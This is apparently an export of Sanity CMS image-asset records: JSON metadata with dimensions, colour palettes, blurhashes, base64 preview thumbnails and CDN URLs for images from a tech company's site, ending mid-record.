{"_createdAt":"2024-02-06T01:10:59Z","_id":"image-a12271d5407fdc5979dff62eeb5ac87c796f6941-466x619-png","_rev":"H1slUvtNVEvBnmPPMTRVNx","_type":"sanity.imageAsset","_updatedAt":"2024-02-06T01:10:59Z","assetId":"a12271d5407fdc5979dff62eeb5ac87c796f6941","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dRNJ%q4.?w%20Mt7_4%LS$s:IBIoxuoJnhR*E2V@n%WX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.752827140549273,"height":619,"width":466},"exif":{"PixelXDimension":466,"PixelYDimension":619,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#573b31","foreground":"#fff","population":5.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c3a27","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#573b31","foreground":"#fff","population":5.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b7aa","foreground":"#000","population":3.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dce4fc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6785c","foreground":"#fff","population":2.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1aa94","foreground":"#000","population":4.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Sebastien Blanc.png","path":"images/sczeoy4w/production/a12271d5407fdc5979dff62eeb5ac87c796f6941-466x619.png","sha1hash":"a12271d5407fdc5979dff62eeb5ac87c796f6941","size":421800,"uploadId":"LQxSu1Tk0j9fLsCLP6WT0btnOC04PbSV","url":"https://cdn.sanity.io/images/sczeoy4w/production/a12271d5407fdc5979dff62eeb5ac87c796f6941-466x619.png"} {"_createdAt":"2024-01-10T17:08:07Z","_id":"image-b230364ad5a197fa6803e13b3cab7e2e91cfe8c0-1200x628-png","_rev":"WcyA8bAPqvn54kH26bfFBQ","_type":"sanity.imageAsset","_updatedAt":"2024-01-15T14:47:39Z","altText":null,"assetId":"b230364ad5a197fa6803e13b3cab7e2e91cfe8c0","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M37nYG?29X^iibtpW-RONyNM00IV-n9cI.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClklEQVQokS3SiVIaBwCA4X2CTkdFjl1Yl2VPjmWDiGC80GAwjalaYzK1nSnRRjEh4VI5BKkBC5mkzmSaPu7faaaP8H/zC9/7DvArRyhWCT1xSiR2hhh5zaz8O7NyGa9SwReu4VebiFobyegh6T0CWgt/5JKA1kbUuvgjV3jDDYSpwHNUu4STeUMqV8XN1kmk6yQWLnCzHZzFa+ILPeKZAc7iiAdLE9ylMcnsEHdpSDI3RnNGSEafgNZFmJFekEifs77VYmO7y8Z2n3xxwONnd+y+uGfn4J7Czmc2n/7Fo6dfKO7+w5P9rxR3v7C99zf5J1+JLXxCtkeE7D8RpsVDLPc12bUaufULcustMqttljf7bO2MefTDR1YKY5YLE1a2PrP2+J714ifWtsY83JyQzI5RYh8ImkNk+yPCjHiIM3/Cw9VznHQZLV5Gjb5Bd6pEU5eYbgvdabO43KdYHLKcH30jsFMdTLfLnN1B1P+zvSFk3SGI4SN2ntU5LnXIF+pY7lss9z3RVAPLvUCxm6jRJj8V2/RKfX7ZG5LK3eBkejiLA3R3wFz0GtnqEbJuEbzyS/Ib5xwcNMiuVNAT5+iJCmayhpZoIJt1FOM9xUyZt4UzflxtEk+1sVNdouk/sFJ36MkPKLEektFFmPLuY6iHJJO/ocdPkLRjgvopxv/JRvIK2XiHohwTVV9hGBW0+CXmgy72/C2xhQnR9B2RxDWi1kSYmt0lLO1h6keo9gkB9dW3D023hpNpE5vvMGdW8YROmQmeEYhUUWNXmG4Pe35END3BSt0SjrUJROoI33n2mPbu4xEP8QR/Zlr6FU+whD98ihSpIGlVfOF3eEJneOQyPqWKX20galeEzBtC5gBRa+FT63jDNf4FuuprjZhZ5XIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382e69","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04217c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cccee4","foreground":"#000","population":8.15,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cccee4","foreground":"#000","population":8.15,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#787fc4","foreground":"#fff","population":0.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676e98","foreground":"#fff","population":2.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba3228","foreground":"#fff","population":0.64,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"webinar-tech-due-diligence-for-early-stage-startups-atomico.png","path":"images/sczeoy4w/production/b230364ad5a197fa6803e13b3cab7e2e91cfe8c0-1200x628.png","sha1hash":"b230364ad5a197fa6803e13b3cab7e2e91cfe8c0","size":222340,"title":null,"uploadId":"IY0uUgOMylzukAhjnuh6KvJv0PKjMHfY","url":"https://cdn.sanity.io/images/sczeoy4w/production/b230364ad5a197fa6803e13b3cab7e2e91cfe8c0-1200x628.png"} {"_createdAt":"2024-02-16T14:57:55Z","_id":"image-d7dffc889c5202de55faf3dc2523f99b1ea2bc76-1600x1074-webp","_rev":"UjGmMOs0V2SxB808i0Guqj","_type":"sanity.imageAsset","_updatedAt":"2024-02-16T14:57:55Z","assetId":"d7dffc889c5202de55faf3dc2523f99b1ea2bc76","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VXPPr@AG8^O@8_ysr?xt%1WB4TWBx^sokXgjenemj?RP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.48975791433892,"height":1074,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAPoAAAD6AG1e1JrAAADwElEQVQ4jUWQa0wcVRTHJybaEo1t6iMqwZo0+kWN2n5pNhBeJkpStkJiUUwNDUajEVjeC2gL5SVYC61QVipUFh+FZYVCuoDQjyZNpXQM3RWqBtuhLMuys7tz5869e2fmHjMbE2/yy7knueeX/z1CJKbt/m15JW1gcPhQrfNkZnmVM6eiqiGnorohWcsrndmOmsacusaWzIrqxkPeyem8e5J0UZZlESHkZ4zdNgx9ihJil0ObDwpRRHe3tn/5mr2wuC47r2g088j741n5J8ay8kvGMy2OlIxl20+M5R375HJhSY37ZJfLe2N5ZXUnEkEYY03Xdc0wzaUE09/dwfwhYSuipFRU1mZ99HHFeEvHuUjv4Jh2ftiLzw/9x7AX912axK7RGTx0eU6dmv8V+9fWDTkaA0IIGIYBBqOrCVn6EC90PiLcvR9Oqa1z5p492zN9/foNGgztwFY4CpuhCGxtyxCOxGHHQlYgEkUgxxDE4goghDghlDPGOJOlLXbzhzNGzysHhH82QinOhqbcgQHXldXVVY0xBoQkTIRUTgnhJtO5SRKcEcoNQ0+iYcwtoaZpnFIKbNNP9cW2KbMz7bBwVwql1Dsbc/svXLgSCAQ0QiggVePRaIyjuMIp1jhRMMeKygkhliApi8fjgLHGE4kE6JsruvHLqVmzIzVdWL8X3FVW7sjo6+v3BgJ/aNYDaxBZA4oCBGOghAKhOlCqQ4IywBiDqqpJua7rYG75mbnQ4ksKl24FHigoKDzY29v7YyAQwJaQEo1jpICFpqpAqCU0kkJKWVKmKEoysa7rYARv/58QAASbzfZiT0/PyJ21O6ppGqAzxgnGnGAVGCHcsFKYJnCTg2kYoGkYFCWe/ImG4iD/Pqujn0p9Zsu+dME6Npvtpa6u7lFRFDVrN1E5yrdDYR7e3uHWPR5XuKIgjhDmCsI8GovziBzlckzhf6/5YcndxNZPv+wzmnalCxe/Hd5bVPRORnV1zfdut3t7fs6nzV+d1Oemx2F+xgMLV72w6PsZFn2TsDg7Cddmp+CaVa3eNwXekX6YaLIby1XPLgabn39DcLkG9zsclZmlpR9UOxyOr7uaP/W6u4v/9JwpRJ7uAjz+xVvY03kUezqOYk+bHXtO2/FEix1PnMrHns/z1bG617Gv8lXlVv0Lc/72jHyhtbX94bKy8seK3zueeuztwudmug+++dd3By5tjOxflobSROmbVFHqf1qUzj0lSl89KUpdT4hS2+Oi1LxPlD7bK24494jBukdvhuv3uO43PnP4Xw4/Ad/JMb5MAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#383b47","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06275d","foreground":"#fff","population":1.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f68108","foreground":"#000","population":5.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc1a2","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94bbe2","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae965c","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f68108","foreground":"#000","population":5.65,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"134aa54917f7130de0756fb38e637c920de80d35-1600x1074.jpeg","path":"images/sczeoy4w/production/d7dffc889c5202de55faf3dc2523f99b1ea2bc76-1600x1074.webp","sha1hash":"d7dffc889c5202de55faf3dc2523f99b1ea2bc76","size":65200,"uploadId":"1SoOVFqDnywWCPv97PpEbU3CJ0oXfpLT","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7dffc889c5202de55faf3dc2523f99b1ea2bc76-1600x1074.webp"} {"_createdAt":"2024-01-02T13:25:06Z","_id":"image-d7e2b13b72baedcabe0a65658e8a9a12f276f1de-1567x844-png","_rev":"Do3156plRwIXmiihOJLDQT","_type":"sanity.imageAsset","_updatedAt":"2024-01-02T13:25:06Z","assetId":"d7e2b13b72baedcabe0a65658e8a9a12f276f1de","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD8qXS%0MvxaRQ_4oeNFkDRkITWDt7WBoc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACdklEQVQokR3S+VISAQCA8X0CWdiLZe+DQwVprJnUNGzBQAQXF5YFlnsXCDxQJzHvQmVkRtEkSrKHrXyA3/fXB9gcKsZkMCaHMnk7WyGEOiE2Cec27d5nJjvs1BE3fSb6vzn9p7R7l3RtM542ztWseHYCSwHCVGU+sLsU6rwLdqTI2cpadzncXY5cB9f6K/G7UOxeWnsIJ0bhxPelUHcxdC5Fr2cXTnC+DuJ5wOOvheMncvpSTl/lSnf56qOaf9Cro4I5zpTHSf0pkRmrhT9K7md04yaeuklkhgtSn/J8RtltwD1jRtZPU7leIn2tZG9U/S6ZHejGqFR/1opPsdRwVRkpueek/kvWBgltEE3+eDXfI93HhOscEL1GKHokq93w+oW0eh5ev4opfVkbbGQf4+pjKH4fTgyT+rOaH8vafUTuv1m6oN27GNd2iF8AbrI8F9gLfDyc/3Dw9n1nMXgmRS6laC8Y7UvR20D4dmV9qOR+y9owFOstSCeCtwWRRRtZQdkWAJNpgtdJsUgKZcppMp4mP7UjePcF74HgOxR9x57Zr765y8nXR/z0Fu2qYZxhI0o2ooQwDcCCKiCqWDAVtGesjryNKEOUCdNNhNmE6RZCt1CujfF7CNOyOoogrsNUHaGbEFmFSAOw4xssrbJigRDKCFWCiApM1ZD/uAVR5kvLgOlPMFWz4nkQzyJ0A2FaNqII2jMATykzzsyMv+b0NXC+ilBVlGlg7CbGbcGMaSPyEFmAaQOmqqA9C9o1iDQgsmqxaxOoAtBchhdzvKfMug1SNAmxQTq3KFeb9uyRrh0HbxKCSYpNlDFAu2bBVCuugy97/cN/AZ8bsr0M9FLrAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372e59","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.88,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#999ec6","foreground":"#000","population":1.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3eaf4","foreground":"#000","population":8.26,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f93","foreground":"#fff","population":1.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb484c","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data-drift-kafka-karapace.png","path":"images/sczeoy4w/production/d7e2b13b72baedcabe0a65658e8a9a12f276f1de-1567x844.png","sha1hash":"d7e2b13b72baedcabe0a65658e8a9a12f276f1de","size":58584,"uploadId":"GzTNllz9MIH3SpkdWLkjW6crqTPSDlb0","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7e2b13b72baedcabe0a65658e8a9a12f276f1de-1567x844.png"} {"_createdAt":"2024-01-02T13:27:22Z","_id":"image-3b04c9b0c23001cd7aa9bbbf7ab477ceb216d555-600x1280-png","_rev":"7oPGYyiRG7hm5kP9i1JaYa","_type":"sanity.imageAsset","_updatedAt":"2024-01-02T13:27:22Z","assetId":"3b04c9b0c23001cd7aa9bbbf7ab477ceb216d555","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.46875,"height":1280,"width":600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAArCAYAAAB4pah1AAAACXBIWXMAABYlAAAWJQFJUiTwAAAGR0lEQVRIiZ2W53bjOBKF+f5PM+ue6R67x+1sRSaRYo4iFahECgoOgnl3AUqWLHfP7uyP7wCoKtwqVFHnSFitVuglKbqWA6VrvyMz9AOffIeYUjcdJGmfbjYbIvhBiK7to+vFMPwUXU6yWw8YR5zYS92JoFseDaOYCKLSgR320Z9vMFq8YFi8VCvfP59Q+Y/3o8VLmc7WMPyEtmWVCC1JhZ9OMFm/YfYETNclxkuK8YpitgFmmxIZ2XLbZEWRkVcOi2P++RPKyeoNbi+jtZZMhLbc4YLsAgti2TQ3gWKFcJMJvHQC3Us4mtuDbIVQ7QjBMMd4uWV3SrY6vYw+MsGWrB4ENyXCYY6rRxFn51f4667B92z99uMOf/x1y/n94hp12eDJZxu8Cz40ueDnCjtOjJrU5ZdaHRttzeH7mmygLpu4bShoaQ6S6Yq15KNgU1L5s1gfWE9YL1lANaCq+fthVYN64UkZ2XJbVbiiHwWtcMAvsypZ0H4op0x28PMhthzkTzCClDZEhQiW47JvCFbYh5eM4SYZm9iB5GS/53AuzSCFZnrU8Xwi5HkBzw8gdTS0FLVCVtGUd/tfcOQv5Y4OP4zoghAizGYzeIEHpatC1CSImshpHyF+QDo9l0pXgRd6NC9yIhiWASuwEI0jJPMEyex/gMXtY+dJGY5CGJ5BTcdkPz0R/sDH7HmGYlsg3+bI39dqXxzxbn+tKLZFOX2awk1d2pSaRBBVEVEWYf4yx3gz5pnTPEW2HmP2MuNMn6cclnSymWBIhugXfWSrjImW7G4wDGhdqlcVMsHxZgI7tXHbvsVl7RINrQHVVaE4Cl+1QIPma5AsCY1OAzWlBtmSWfKSJfKHPq2JNSK0lTYXzNYZjNjgYmcXZ/jy/QvOvp/ht/N/4fLxEvfSPa7qVzi/PcefN3/i69VXXNxewE5s/uSDoFoJMuNgMWAOmLHJqxFNEW2jDbNnIsgCOKkDIzJ4Yj3QoXkaerPeR8GW0gKb0vx1jgVd7AZS8Ibve8ibTz8PhfUu31Y9ZIJ1sU4ESZVgxzZGyxGv8hNsIE9TTH7mq/zlYDGEGZpU6khEiHsxTNeE6ZuwIgtWyDCPsH7Bu780fINp0KSfEGG5XCKMQqiqDFFsHmif8Cuf2CrVjoI4juh6vSbCYDCAZ9twujrcY/QTTv2HuNLWdaZBs9GICHpHRew4KIYDrCdjrMb/kMm4zPt9hJZF9U6HCIooIotjbIsCb0sCSgjeCFsX2C4KbBcLbn9bLrlv769iCLOXr0WBYRhSqdkkgipJGPd6/PJeiMGqHQYBRlEIkmX8BeM4xmI4BBN4F1+SkhUziiIqNRo/EySgiwWmvR7URgPi4yO0dhvt+3s8/riE2+lgM50eXrNcVoKswkadCYo/FWQVBd0utHYL4sMDaldXaFxfw9f1SpD8RLDOBEUmGFeCu6wM9qyn2RTLbIR5P8UsSTBPUz6I7YcnL3dP3lWotNtMHa9F/qGHx80/HgI9jmEDI6R8yXMMAr8aSlfTENo2pmmCYjhEPhj8I4rhoJz0eghMk5q6ToRxlsFzHFiaBpvT+S98iinZXd916HQ6JQIhC0RhAENT0VWlHeLfsI95jy0NTUEchXS1WhEhDHz4Thex10Xi/x3GEUf2wCgjV4dn6TSOQiJ0FBH90MIm7+OVjPCyGOL5iNPz3ra3vyyG5XqWskRUlVtEUOUWxn0fr8sMW8ZqjHIzBZ5mfGVnup7wM54Ptve453nJ/FniUqlVqwSzxMVs4CNyVPTcDiapw8/90IBvSkg8HZPU5fZhZCKwZHiGiH5gIB+F5XqeYtSzqdx6PAiOEwdd6RFS/Rqd1h3E2hVuL//A5bffcPfjKxp331G7OcfjzTnur77h+uILbr7/DrF+XbIkw8iicuth9+TUw2aeYtr3kAZdxC77HFpcuNO+44kMpQ5TbcDR27xqq9OA0ryB0rqrBOO9oNTEpO+Brsd420x4b1g/WcPZoBhPxWA3gBEfHPO/kBFWswRFFvEnZz2HSs0HIihSE4PI4hfortlsZY3mvJ93tqOY3XBKljANDKqIDSK4tgXX0pAErGz7/6Hs+V24pkp9zyFCkefwXBtSq45m7RbNxz031cpsp7zHsPNdKbcbCDyXkv/8P/w3oEkuRj5xi+gAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44494a","foreground":"#fff","population":0.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c4567","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9def0","foreground":"#000","population":0.53,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c9def0","foreground":"#000","population":0.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#708494","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3785c7","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fast.png","path":"images/sczeoy4w/production/3b04c9b0c23001cd7aa9bbbf7ab477ceb216d555-600x1280.png","sha1hash":"3b04c9b0c23001cd7aa9bbbf7ab477ceb216d555","size":158747,"uploadId":"7nReqp3lsWw9RERD7nN4PTtGSrg2t8YU","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b04c9b0c23001cd7aa9bbbf7ab477ceb216d555-600x1280.png"} {"_createdAt":"2024-01-02T15:10:00Z","_id":"image-6f3b21d762f5d9263485ef8402d5b64b636bf427-1358x765-gif","_rev":"7oPGYyiRG7hm5kP9i1PnJQ","_type":"sanity.imageAsset","_updatedAt":"2024-01-02T15:10:00Z","assetId":"6f3b21d762f5d9263485ef8402d5b64b636bf427","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8RW0hn$V@Rk?b?bIUV[s.af~pIVae%LD*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7751633986928104,"height":765,"width":1358},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAMBAgQI/8QAHhAAAgICAgMAAAAAAAAAAAAAAQIDEQAEEiETMTL/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/EABYRAQEBAAAAAAAAAAAAAAAAAAABYf/aAAwDAQACEQMRAD8A6LRJRsMiycY79ADJ3N6PTZEkclyLoJd5t8SFieIu8sUW/kZc0L1tiLYiEkVlT12KwxwAA6GGB//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4281","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c24a4","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9a9cc9","foreground":"#000","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9a9cc9","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93a2ec","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad645b","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#50d0fc","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"create-free-plan-aiven-postgresql.gif","path":"images/sczeoy4w/production/6f3b21d762f5d9263485ef8402d5b64b636bf427-1358x765.gif","sha1hash":"6f3b21d762f5d9263485ef8402d5b64b636bf427","size":20487391,"uploadId":"YJUTfUVCD9676NVOk5CcAx9Ff6RWaA60","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f3b21d762f5d9263485ef8402d5b64b636bf427-1358x765.gif"} {"_createdAt":"2024-02-01T10:40:04Z","_id":"image-bacf652be76cd3dac01d0b80d1575a933d6b5dd6-1500x1007-png","_rev":"ZLvKaZvfbZlWBlGcpPlFoN","_type":"sanity.imageAsset","_updatedAt":"2024-02-01T10:40:04Z","assetId":"bacf652be76cd3dac01d0b80d1575a933d6b5dd6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VQP~[]O[H=yEDOT}Mxt5xZRj4Tn$yEwdXTper=r=t6WA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4895729890764648,"height":1007,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADxklEQVQ4jT2RWWxUZRiGD14YU8sNV1jjgka9kaQmJkKMibUq0UoxcUHvoMOVXWmZNtOWYMCmyiLSRRK7aSl2QqcMYilWrJRSp8t0DlOBATpLp+3QTO3MWf/z/2f5z/+ZMyZePPnunrzf+3IbWSnv5tTMtlOn23fW1DW8U15Vt6ui+tD/lFfVvVt5sH5XrbvprcqD9a/9OnL109XVlE8QhBhCaIlSmrBt+7Jpmm/Hbwc3cWvrmXxP05GdJXv2Hi16/7Ohot37LhWVlvmLSvf733TYvd9f/KHLX/J5xfAnrgZv6+neq+GFSFIQBKJpmk4p1W2bBUxql4TSsImLJpbzyytqSr6oqBttOfG90t7j09t6hsmZ7iFypttHOvr85Gz/ZdL18yj5cegavvLHrL4YTdqiIIKmaWCaJlCDLJjZ5F6po/hR7u69aL7b3VDa0dH5Z4hfsNLrWVhNpSGRTMFKKg3rGyJkBAWyogqCgyCDKEigyDLTNI3phICZSa6YM12HzSNbCri79xY3ezyNpb29veOJRNywDBM0SbHFjQxDisIsXWcWIcwghNkYM0tWmCpJTFVVhjFmOsFgpMKqNer5yWp+fDsXuR/b7PE07enu7hmPRqOmQXRAosLEjSzIkgRYRaDJKqiyArqiAhEkkAURFEUBQggzDQOs1C1CRw55aXPeKxwfvpNXVV3z3g9dXb/HYjHD6QQj